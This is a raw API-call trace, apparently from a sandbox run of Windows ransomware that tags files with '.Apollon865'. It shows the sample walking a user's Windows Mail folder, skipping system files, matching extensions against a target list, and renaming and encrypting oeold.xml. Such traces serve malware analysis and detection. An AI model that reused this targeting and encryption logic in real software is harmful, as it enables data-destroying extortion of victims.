	[0045.707] lstrlenW (lpString="adb") returned 3
	[0045.707] lstrcmpiW (lpString1="unt", lpString2="adb") returned 1
	[0045.707] lstrlenW (lpString="adb") returned 3
	[0045.707] lstrcmpiW (lpString1="unt", lpString2="adb") returned 1
	[0045.707] lstrlenW (lpString="ade") returned 3
	[0045.707] lstrcmpiW (lpString1="unt", lpString2="ade") returned 1
	[0045.707] lstrlenW (lpString="adf") returned 3
	[0045.708] lstrcmpiW (lpString1="unt", lpString2="adf") returned 1
	[0045.708] lstrlenW (lpString="adn") returned 3
	[0045.708] lstrcmpiW (lpString1="unt", lpString2="adn") returned 1
	[0045.708] lstrlenW (lpString="adp") returned 3
	[0045.708] lstrcmpiW (lpString1="unt", lpString2="adp") returned 1
	[0045.708] lstrlenW (lpString="alf") returned 3
	[0045.708] lstrcmpiW (lpString1="unt", lpString2="alf") returned 1
	[0045.708] lstrlenW (lpString="ask") returned 3
	[0045.708] lstrcmpiW (lpString1="unt", lpString2="ask") returned 1
	[0045.708] lstrlenW (lpString="btr") returned 3
	[0045.708] lstrcmpiW (lpString1="unt", lpString2="btr") returned 1
	[0045.708] lstrlenW (lpString="cat") returned 3
	[0045.708] lstrcmpiW (lpString1="unt", lpString2="cat") returned 1
	[0045.708] lstrlenW (lpString="cdb") returned 3
	[0045.708] lstrcmpiW (lpString1="unt", lpString2="cdb") returned 1
	[0045.708] lstrlenW (lpString="ckp") returned 3
	[0045.708] lstrcmpiW (lpString1="unt", lpString2="ckp") returned 1
	[0045.708] lstrlenW (lpString="cma") returned 3
	[0045.708] lstrcmpiW (lpString1="unt", lpString2="cma") returned 1
	[0045.708] lstrlenW (lpString="cpd") returned 3
	[0045.708] lstrcmpiW (lpString1="unt", lpString2="cpd") returned 1
	[0045.708] lstrlenW (lpString="dacpac") returned 6
	[0045.708] lstrcmpiW (lpString1="ccount", lpString2="dacpac") returned -1
	[0045.708] lstrlenW (lpString="dad") returned 3
	[0045.708] lstrcmpiW (lpString1="unt", lpString2="dad") returned 1
	[0045.708] lstrlenW (lpString="dadiagrams") returned 10
	[0045.708] lstrcmpiW (lpString1=".oeaccount", lpString2="dadiagrams") returned -1
	[0045.708] lstrlenW (lpString="daschema") returned 8
	[0045.708] lstrcmpiW (lpString1="eaccount", lpString2="daschema") returned 1
	[0045.708] lstrlenW (lpString="db-journal") returned 10
	[0045.708] lstrcmpiW (lpString1=".oeaccount", lpString2="db-journal") returned -1
	[0045.708] lstrlenW (lpString="db-shm") returned 6
	[0045.708] lstrcmpiW (lpString1="ccount", lpString2="db-shm") returned -1
	[0045.708] lstrlenW (lpString="db-wal") returned 6
	[0045.708] lstrcmpiW (lpString1="ccount", lpString2="db-wal") returned -1
	[0045.709] lstrlenW (lpString="dbc") returned 3
	[0045.709] lstrcmpiW (lpString1="unt", lpString2="dbc") returned 1
	[0045.709] lstrlenW (lpString="dbs") returned 3
	[0045.709] lstrcmpiW (lpString1="unt", lpString2="dbs") returned 1
	[0045.709] lstrlenW (lpString="dbt") returned 3
	[0045.709] lstrcmpiW (lpString1="unt", lpString2="dbt") returned 1
	[0045.709] lstrlenW (lpString="dbv") returned 3
	[0045.709] lstrcmpiW (lpString1="unt", lpString2="dbv") returned 1
	[0045.709] lstrlenW (lpString="dbx") returned 3
	[0045.709] lstrcmpiW (lpString1="unt", lpString2="dbx") returned 1
	[0045.709] lstrlenW (lpString="dcb") returned 3
	[0045.709] lstrcmpiW (lpString1="unt", lpString2="dcb") returned 1
	[0045.709] lstrcpyW (in: lpString1=0x2d3e5d6, lpString2="account{AF0DB737-2EF9-4633-BF5E-1A6761ED1577}.oeaccount" | out: lpString1="account{AF0DB737-2EF9-4633-BF5E-1A6761ED1577}.oeaccount") returned="account{AF0DB737-2EF9-4633-BF5E-1A6761ED1577}.oeaccount"
	[0045.709] lstrlenW (lpString="account{AF0DB737-2EF9-4633-BF5E-1A6761ED1577}.oeaccount") returned 55
	[0045.709] lstrlenW (lpString="Apollon865") returned 10
	[0045.709] lstrcmpiW (lpString1=".oeaccount", lpString2="Apollon865") returned -1
	[0045.709] lstrlenW (lpString=".dll") returned 4
	[0045.709] lstrcmpiW (lpString1="account{AF0DB737-2EF9-4633-BF5E-1A6761ED1577}.oeaccount", lpString2=".dll") returned 1
	[0045.709] lstrlenW (lpString=".lnk") returned 4
	[0045.709] lstrcmpiW (lpString1="account{AF0DB737-2EF9-4633-BF5E-1A6761ED1577}.oeaccount", lpString2=".lnk") returned 1
	[0045.709] lstrlenW (lpString=".ini") returned 4
	[0045.709] lstrcmpiW (lpString1="account{AF0DB737-2EF9-4633-BF5E-1A6761ED1577}.oeaccount", lpString2=".ini") returned 1
	[0045.709] lstrlenW (lpString=".sys") returned 4
	[0045.709] lstrcmpiW (lpString1="account{AF0DB737-2EF9-4633-BF5E-1A6761ED1577}.oeaccount", lpString2=".sys") returned 1
	[0045.709] lstrlenW (lpString="account{AF0DB737-2EF9-4633-BF5E-1A6761ED1577}.oeaccount") returned 55
	[0045.709] lstrcpyW (in: lpString1=0x2d3e5d6, lpString2="Backup" | out: lpString1="Backup") returned="Backup"
	[0045.709] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fca8
	[0045.709] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x94) returned 0x5994f0
	[0045.709] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fcb0 | out: ListHead=0x5b76b0, ListEntry=0x59fcb0) returned 0x59fc90
	[0045.710] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28e562a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e562a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2c881c40, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="edb.chk", cAlternateFileName="")) returned 1
	[0045.710] lstrcmpiW (lpString1="edb.chk", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0045.710] lstrcmpiW (lpString1="edb.chk", lpString2="Apollon865.txt.exe") returned 1
	[0045.710] lstrcmpiW (lpString1="edb.chk", lpString2=".") returned 1
	[0045.710] lstrcmpiW (lpString1="edb.chk", lpString2="..") returned 1
	[0045.710] lstrcmpiW (lpString1="edb.chk", lpString2="windows") returned -1
	[0045.710] lstrcmpiW (lpString1="edb.chk", lpString2="bootmgr") returned 1
	[0045.710] lstrcmpiW (lpString1="edb.chk", lpString2="temp") returned -1
	[0045.710] lstrcmpiW (lpString1="edb.chk", lpString2="pagefile.sys") returned -1
	[0045.710] lstrcmpiW (lpString1="edb.chk", lpString2="boot") returned 1
	[0045.710] lstrcmpiW (lpString1="edb.chk", lpString2="ids.txt") returned -1
	[0045.710] lstrcmpiW (lpString1="edb.chk", lpString2="ntuser.dat") returned -1
	[0045.710] lstrcmpiW (lpString1="edb.chk", lpString2="perflogs") returned -1
	[0045.710] lstrcmpiW (lpString1="edb.chk", lpString2="MSBuild") returned -1
	[0045.710] lstrlenW (lpString="edb.chk") returned 7
	[0045.710] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Backup") returned 73
	[0045.710] lstrcpyW (in: lpString1=0x2d3e5d6, lpString2="edb.chk" | out: lpString1="edb.chk") returned="edb.chk"
	[0045.710] lstrlenW (lpString="edb.chk") returned 7
	[0045.710] lstrlenW (lpString="Apollon865") returned 10
	[0045.710] lstrlenW (lpString=".dll") returned 4
	[0045.710] lstrcmpiW (lpString1="edb.chk", lpString2=".dll") returned 1
	[0045.710] lstrlenW (lpString=".lnk") returned 4
	[0045.710] lstrcmpiW (lpString1="edb.chk", lpString2=".lnk") returned 1
	[0045.710] lstrlenW (lpString=".ini") returned 4
	[0045.710] lstrcmpiW (lpString1="edb.chk", lpString2=".ini") returned 1
	[0045.710] lstrlenW (lpString=".sys") returned 4
	[0045.710] lstrcmpiW (lpString1="edb.chk", lpString2=".sys") returned 1
	[0045.710] lstrlenW (lpString="edb.chk") returned 7
	[0045.710] lstrcpyW (in: lpString1=0x2d3e5d6, lpString2="edb.log" | out: lpString1="edb.log") returned="edb.log"
	[0045.710] lstrlenW (lpString="edb.log") returned 7
	[0045.711] lstrlenW (lpString="Apollon865") returned 10
	[0045.711] lstrlenW (lpString=".dll") returned 4
	[0045.711] lstrcmpiW (lpString1="edb.log", lpString2=".dll") returned 1
	[0045.711] lstrlenW (lpString=".lnk") returned 4
	[0045.711] lstrcmpiW (lpString1="edb.log", lpString2=".lnk") returned 1
	[0045.711] lstrlenW (lpString=".ini") returned 4
	[0045.711] lstrcmpiW (lpString1="edb.log", lpString2=".ini") returned 1
	[0045.711] lstrlenW (lpString=".sys") returned 4
	[0045.711] lstrcmpiW (lpString1="edb.log", lpString2=".sys") returned 1
	[0045.711] lstrlenW (lpString="edb.log") returned 7
	[0045.711] lstrcpyW (in: lpString1=0x2d3e5d6, lpString2="edb00001.log" | out: lpString1="edb00001.log") returned="edb00001.log"
	[0045.711] lstrlenW (lpString="edb00001.log") returned 12
	[0045.711] lstrlenW (lpString="Apollon865") returned 10
	[0045.711] lstrcmpiW (lpString1="b00001.log", lpString2="Apollon865") returned 1
	[0045.711] lstrlenW (lpString=".dll") returned 4
	[0045.711] lstrcmpiW (lpString1="edb00001.log", lpString2=".dll") returned 1
	[0045.711] lstrlenW (lpString=".lnk") returned 4
	[0045.711] lstrcmpiW (lpString1="edb00001.log", lpString2=".lnk") returned 1
	[0045.711] lstrlenW (lpString=".ini") returned 4
	[0045.711] lstrcmpiW (lpString1="edb00001.log", lpString2=".ini") returned 1
	[0045.711] lstrlenW (lpString=".sys") returned 4
	[0045.711] lstrcmpiW (lpString1="edb00001.log", lpString2=".sys") returned 1
	[0045.711] lstrlenW (lpString="edb00001.log") returned 12
	[0045.711] lstrcpyW (in: lpString1=0x2d3e5d6, lpString2="edbres00001.jrs" | out: lpString1="edbres00001.jrs") returned="edbres00001.jrs"
	[0045.711] lstrlenW (lpString="edbres00001.jrs") returned 15
	[0045.711] lstrlenW (lpString="Apollon865") returned 10
	[0045.711] lstrcmpiW (lpString1="s00001.jrs", lpString2="Apollon865") returned 1
	[0045.711] lstrlenW (lpString=".dll") returned 4
	[0045.711] lstrcmpiW (lpString1="edbres00001.jrs", lpString2=".dll") returned 1
	[0045.711] lstrlenW (lpString=".lnk") returned 4
	[0045.711] lstrcmpiW (lpString1="edbres00001.jrs", lpString2=".lnk") returned 1
	[0045.711] lstrlenW (lpString=".ini") returned 4
	[0045.712] lstrcmpiW (lpString1="edbres00001.jrs", lpString2=".ini") returned 1
	[0045.712] lstrlenW (lpString=".sys") returned 4
	[0045.712] lstrcmpiW (lpString1="edbres00001.jrs", lpString2=".sys") returned 1
	[0045.712] lstrlenW (lpString="edbres00001.jrs") returned 15
	[0045.712] lstrcpyW (in: lpString1=0x2d3e5d6, lpString2="edbres00002.jrs" | out: lpString1="edbres00002.jrs") returned="edbres00002.jrs"
	[0045.712] lstrlenW (lpString="edbres00002.jrs") returned 15
	[0045.712] lstrlenW (lpString="Apollon865") returned 10
	[0045.712] lstrcmpiW (lpString1="s00002.jrs", lpString2="Apollon865") returned 1
	[0045.712] lstrlenW (lpString=".dll") returned 4
	[0045.712] lstrcmpiW (lpString1="edbres00002.jrs", lpString2=".dll") returned 1
	[0045.712] lstrlenW (lpString=".lnk") returned 4
	[0045.712] lstrcmpiW (lpString1="edbres00002.jrs", lpString2=".lnk") returned 1
	[0045.712] lstrlenW (lpString=".ini") returned 4
	[0045.712] lstrcmpiW (lpString1="edbres00002.jrs", lpString2=".ini") returned 1
	[0045.712] lstrlenW (lpString=".sys") returned 4
	[0045.712] lstrcmpiW (lpString1="edbres00002.jrs", lpString2=".sys") returned 1
	[0045.712] lstrlenW (lpString="edbres00002.jrs") returned 15
	[0045.712] lstrcpyW (in: lpString1=0x2d3e5d6, lpString2="oeold.xml" | out: lpString1="oeold.xml") returned="oeold.xml"
	[0045.712] lstrlenW (lpString="oeold.xml") returned 9
	[0045.712] lstrlenW (lpString="Apollon865") returned 10
	[0045.712] lstrlenW (lpString=".dll") returned 4
	[0045.712] lstrcmpiW (lpString1="oeold.xml", lpString2=".dll") returned 1
	[0045.712] lstrlenW (lpString=".lnk") returned 4
	[0045.712] lstrcmpiW (lpString1="oeold.xml", lpString2=".lnk") returned 1
	[0045.712] lstrlenW (lpString=".ini") returned 4
	[0045.712] lstrcmpiW (lpString1="oeold.xml", lpString2=".ini") returned 1
	[0045.712] lstrlenW (lpString=".sys") returned 4
	[0045.712] lstrcmpiW (lpString1="oeold.xml", lpString2=".sys") returned 1
	[0045.712] lstrlenW (lpString="oeold.xml") returned 9
	[0045.712] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\oeold.xml.Apollon865") returned 87
	[0045.713] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\oeold.xml" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\oeold.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\oeold.xml.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\oeold.xml.apollon865"), dwFlags=0x1) returned 1
	[0045.714] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\oeold.xml.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\oeold.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0045.714] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=260) returned 1
	[0045.714] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3660020
	[0045.714] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a998
	[0045.714] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf9a8
	[0045.714] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf920) returned 1
	[0045.715] CryptGenRandom (in: hProv=0x5bf920, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0045.715] CryptReleaseContext (hProv=0x5bf920, dwFlags=0x0) returned 1
	[0045.715] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x410, lpName=0x0) returned 0x150
	[0045.718] MapViewOfFile (hFileMappingObject=0x150, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x410) returned 0x100000
	[0045.719] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf920) returned 1
	[0045.719] CryptGenRandom (in: hProv=0x5bf920, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0045.719] CryptReleaseContext (hProv=0x5bf920, dwFlags=0x0) returned 1
	[0045.720] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa88
	[0045.720] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa88 | out: hHeap=0x580000) returned 1
	[0045.720] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0045.720] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5bacb8
	[0045.720] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0045.720] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5baba0
	[0045.720] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5aa3c8
	[0045.720] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5baba0 | out: hHeap=0x580000) returned 1
	[0045.720] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5aa3c8 | out: hHeap=0x580000) returned 1
	[0045.720] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bacb8 | out: hHeap=0x580000) returned 1
	[0045.720] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0045.720] CloseHandle (hObject=0x150) returned 1
	[0045.720] CloseHandle (hObject=0x15c) returned 1
	[0045.721] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a998 | out: hHeap=0x580000) returned 1
	[0045.721] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0045.721] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3660020 | out: hHeap=0x580000) returned 1
	[0045.721] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f3aae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf690d5d8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Stationery", cAlternateFileName="STATIO~1")) returned 1
	[0045.721] lstrcmpiW (lpString1="Stationery", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0045.721] lstrcmpiW (lpString1="Stationery", lpString2="Apollon865.txt.exe") returned 1
	[0045.721] lstrcmpiW (lpString1="Stationery", lpString2=".") returned 1
	[0045.721] lstrcmpiW (lpString1="Stationery", lpString2="..") returned 1
	[0045.721] lstrcmpiW (lpString1="Stationery", lpString2="windows") returned -1
	[0045.721] lstrcmpiW (lpString1="Stationery", lpString2="bootmgr") returned 1
	[0045.721] lstrcmpiW (lpString1="Stationery", lpString2="temp") returned -1
	[0045.721] lstrcmpiW (lpString1="Stationery", lpString2="pagefile.sys") returned 1
	[0045.721] lstrcmpiW (lpString1="Stationery", lpString2="boot") returned 1
	[0045.721] lstrcmpiW (lpString1="Stationery", lpString2="ids.txt") returned 1
	[0045.721] lstrcmpiW (lpString1="Stationery", lpString2="ntuser.dat") returned 1
	[0045.721] lstrcmpiW (lpString1="Stationery", lpString2="perflogs") returned 1
	[0045.721] lstrcmpiW (lpString1="Stationery", lpString2="MSBuild") returned 1
	[0045.721] lstrlenW (lpString="Stationery") returned 10
	[0045.721] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\oeold.xml") returned 76
	[0045.721] lstrcpyW (in: lpString1=0x2d3e5d6, lpString2="Stationery" | out: lpString1="Stationery") returned="Stationery"
	[0045.721] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fcc8
	[0045.721] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x9c) returned 0x599590
	[0045.721] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fcd0 | out: ListHead=0x5b76b0, ListEntry=0x59fcd0) returned 0x59fcb0
	[0045.721] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28de3e80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2c881c40, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x204000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WindowsMail.MSMessageStore", cAlternateFileName="WINDOW~1.MSM")) returned 1
	[0045.721] lstrcmpiW (lpString1="WindowsMail.MSMessageStore", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0045.721] lstrcmpiW (lpString1="WindowsMail.MSMessageStore", lpString2="Apollon865.txt.exe") returned 1
	[0045.722] lstrcmpiW (lpString1="WindowsMail.MSMessageStore", lpString2=".") returned 1
	[0045.722] lstrcmpiW (lpString1="WindowsMail.MSMessageStore", lpString2="..") returned 1
	[0045.722] lstrcmpiW (lpString1="WindowsMail.MSMessageStore", lpString2="windows") returned 1
	[0045.722] lstrcmpiW (lpString1="WindowsMail.MSMessageStore", lpString2="bootmgr") returned 1
	[0045.722] lstrcmpiW (lpString1="WindowsMail.MSMessageStore", lpString2="temp") returned 1
	[0045.722] lstrcmpiW (lpString1="WindowsMail.MSMessageStore", lpString2="pagefile.sys") returned 1
	[0045.722] lstrcmpiW (lpString1="WindowsMail.MSMessageStore", lpString2="boot") returned 1
	[0045.722] lstrcmpiW (lpString1="WindowsMail.MSMessageStore", lpString2="ids.txt") returned 1
	[0045.722] lstrcmpiW (lpString1="WindowsMail.MSMessageStore", lpString2="ntuser.dat") returned 1
	[0045.722] lstrcmpiW (lpString1="WindowsMail.MSMessageStore", lpString2="perflogs") returned 1
	[0045.722] lstrcmpiW (lpString1="WindowsMail.MSMessageStore", lpString2="MSBuild") returned 1
	[0045.722] lstrlenW (lpString="WindowsMail.MSMessageStore") returned 26
	[0045.722] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned 77
	[0045.722] lstrcpyW (in: lpString1=0x2d3e5d6, lpString2="WindowsMail.MSMessageStore" | out: lpString1="WindowsMail.MSMessageStore") returned="WindowsMail.MSMessageStore"
	[0045.722] lstrlenW (lpString="WindowsMail.MSMessageStore") returned 26
	[0045.722] lstrlenW (lpString="Apollon865") returned 10
	[0045.722] lstrcmpiW (lpString1="ssageStore", lpString2="Apollon865") returned 1
	[0045.722] lstrlenW (lpString=".dll") returned 4
	[0045.722] lstrcmpiW (lpString1="WindowsMail.MSMessageStore", lpString2=".dll") returned 1
	[0045.722] lstrlenW (lpString=".lnk") returned 4
	[0045.722] lstrcmpiW (lpString1="WindowsMail.MSMessageStore", lpString2=".lnk") returned 1
	[0045.722] lstrlenW (lpString=".ini") returned 4
	[0045.722] lstrcmpiW (lpString1="WindowsMail.MSMessageStore", lpString2=".ini") returned 1
	[0045.722] lstrlenW (lpString=".sys") returned 4
	[0045.722] lstrcmpiW (lpString1="WindowsMail.MSMessageStore", lpString2=".sys") returned 1
	[0045.722] lstrlenW (lpString="WindowsMail.MSMessageStore") returned 26
	[0045.722] lstrlenW (lpString="bak") returned 3
	[0045.722] lstrcmpiW (lpString1="ore", lpString2="bak") returned 1
	[0045.722] lstrlenW (lpString="ba_") returned 3
	[0045.722] lstrcmpiW (lpString1="ore", lpString2="ba_") returned 1
	[0045.722] lstrlenW (lpString="dbb") returned 3
	[0045.722] lstrcmpiW (lpString1="ore", lpString2="dbb") returned 1
	[0045.722] lstrlenW (lpString="vmdk") returned 4
	[0045.723] lstrcmpiW (lpString1="tore", lpString2="vmdk") returned -1
	[0045.723] lstrlenW (lpString="rar") returned 3
	[0045.723] lstrcmpiW (lpString1="ore", lpString2="rar") returned -1
	[0045.723] lstrlenW (lpString="zip") returned 3
	[0045.723] lstrcmpiW (lpString1="ore", lpString2="zip") returned -1
	[0045.723] lstrlenW (lpString="tgz") returned 3
	[0045.723] lstrcmpiW (lpString1="ore", lpString2="tgz") returned -1
	[0045.723] lstrlenW (lpString="vbox") returned 4
	[0045.723] lstrcmpiW (lpString1="tore", lpString2="vbox") returned -1
	[0045.723] lstrlenW (lpString="vdi") returned 3
	[0045.723] lstrcmpiW (lpString1="ore", lpString2="vdi") returned -1
	[0045.723] lstrlenW (lpString="vhd") returned 3
	[0045.723] lstrcmpiW (lpString1="ore", lpString2="vhd") returned -1
	[0045.723] lstrlenW (lpString="vhdx") returned 4
	[0045.723] lstrcmpiW (lpString1="tore", lpString2="vhdx") returned -1
	[0045.723] lstrlenW (lpString="avhd") returned 4
	[0045.723] lstrcmpiW (lpString1="tore", lpString2="avhd") returned 1
	[0045.723] lstrlenW (lpString="db") returned 2
	[0045.723] lstrcmpiW (lpString1="re", lpString2="db") returned 1
	[0045.723] lstrlenW (lpString="db2") returned 3
	[0045.723] lstrcmpiW (lpString1="ore", lpString2="db2") returned 1
	[0045.723] lstrlenW (lpString="db3") returned 3
	[0045.723] lstrcmpiW (lpString1="ore", lpString2="db3") returned 1
	[0045.723] lstrlenW (lpString="dbf") returned 3
	[0045.723] lstrcmpiW (lpString1="ore", lpString2="dbf") returned 1
	[0045.723] lstrlenW (lpString="mdf") returned 3
	[0045.723] lstrcmpiW (lpString1="ore", lpString2="mdf") returned 1
	[0045.723] lstrlenW (lpString="mdb") returned 3
	[0045.723] lstrcmpiW (lpString1="ore", lpString2="mdb") returned 1
	[0045.723] lstrlenW (lpString="sql") returned 3
	[0045.723] lstrcmpiW (lpString1="ore", lpString2="sql") returned -1
	[0045.723] lstrlenW (lpString="sqlite") returned 6
	[0045.723] lstrcmpiW (lpString1="eStore", lpString2="sqlite") returned -1
	[0045.723] lstrlenW (lpString="sqlite3") returned 7
	[0045.723] lstrcmpiW (lpString1="geStore", lpString2="sqlite3") returned -1
	[0045.724] lstrlenW (lpString="sqlitedb") returned 8
	[0045.724] lstrcmpiW (lpString1="ageStore", lpString2="sqlitedb") returned -1
	[0045.724] lstrlenW (lpString="xml") returned 3
	[0045.724] lstrcmpiW (lpString1="ore", lpString2="xml") returned -1
	[0045.724] lstrlenW (lpString="$er") returned 3
	[0045.724] lstrcmpiW (lpString1="ore", lpString2="$er") returned 1
	[0045.724] lstrlenW (lpString="4dd") returned 3
	[0045.724] lstrcmpiW (lpString1="ore", lpString2="4dd") returned 1
	[0045.724] lstrlenW (lpString="4dl") returned 3
	[0045.724] lstrcmpiW (lpString1="ore", lpString2="4dl") returned 1
	[0045.724] lstrlenW (lpString="^^^") returned 3
	[0045.724] lstrcmpiW (lpString1="ore", lpString2="^^^") returned 1
	[0045.724] lstrlenW (lpString="abs") returned 3
	[0045.724] lstrcmpiW (lpString1="ore", lpString2="abs") returned 1
	[0045.724] lstrlenW (lpString="abx") returned 3
	[0045.724] lstrcmpiW (lpString1="ore", lpString2="abx") returned 1
	[0045.724] lstrlenW (lpString="accdb") returned 5
	[0045.724] lstrcmpiW (lpString1="Store", lpString2="accdb") returned 1
	[0045.724] lstrlenW (lpString="accdc") returned 5
	[0045.724] lstrcmpiW (lpString1="Store", lpString2="accdc") returned 1
	[0045.724] lstrlenW (lpString="accde") returned 5
	[0045.724] lstrcmpiW (lpString1="Store", lpString2="accde") returned 1
	[0045.724] lstrlenW (lpString="accdr") returned 5
	[0045.724] lstrcmpiW (lpString1="Store", lpString2="accdr") returned 1
	[0045.724] lstrlenW (lpString="accdt") returned 5
	[0045.724] lstrcmpiW (lpString1="Store", lpString2="accdt") returned 1
	[0045.724] lstrlenW (lpString="accdw") returned 5
	[0045.724] lstrcmpiW (lpString1="Store", lpString2="accdw") returned 1
	[0045.724] lstrlenW (lpString="accft") returned 5
	[0045.724] lstrcmpiW (lpString1="Store", lpString2="accft") returned 1
	[0045.725] lstrlenW (lpString="adb") returned 3
	[0045.725] lstrcmpiW (lpString1="ore", lpString2="adb") returned 1
	[0045.725] lstrlenW (lpString="adb") returned 3
	[0045.725] lstrcmpiW (lpString1="ore", lpString2="adb") returned 1
	[0045.725] lstrlenW (lpString="ade") returned 3
	[0045.725] lstrcmpiW (lpString1="ore", lpString2="ade") returned 1
	[0045.725] lstrlenW (lpString="adf") returned 3
	[0045.725] lstrcmpiW (lpString1="ore", lpString2="adf") returned 1
	[0045.725] lstrlenW (lpString="adn") returned 3
	[0045.725] lstrcmpiW (lpString1="ore", lpString2="adn") returned 1
	[0045.725] lstrlenW (lpString="adp") returned 3
	[0045.725] lstrcmpiW (lpString1="ore", lpString2="adp") returned 1
	[0045.725] lstrlenW (lpString="alf") returned 3
	[0045.725] lstrcmpiW (lpString1="ore", lpString2="alf") returned 1
	[0045.725] lstrlenW (lpString="ask") returned 3
	[0045.725] lstrcmpiW (lpString1="ore", lpString2="ask") returned 1
	[0045.725] lstrlenW (lpString="btr") returned 3
	[0045.725] lstrcmpiW (lpString1="ore", lpString2="btr") returned 1
	[0045.725] lstrlenW (lpString="cat") returned 3
	[0045.725] lstrcmpiW (lpString1="ore", lpString2="cat") returned 1
	[0045.725] lstrlenW (lpString="cdb") returned 3
	[0045.725] lstrcmpiW (lpString1="ore", lpString2="cdb") returned 1
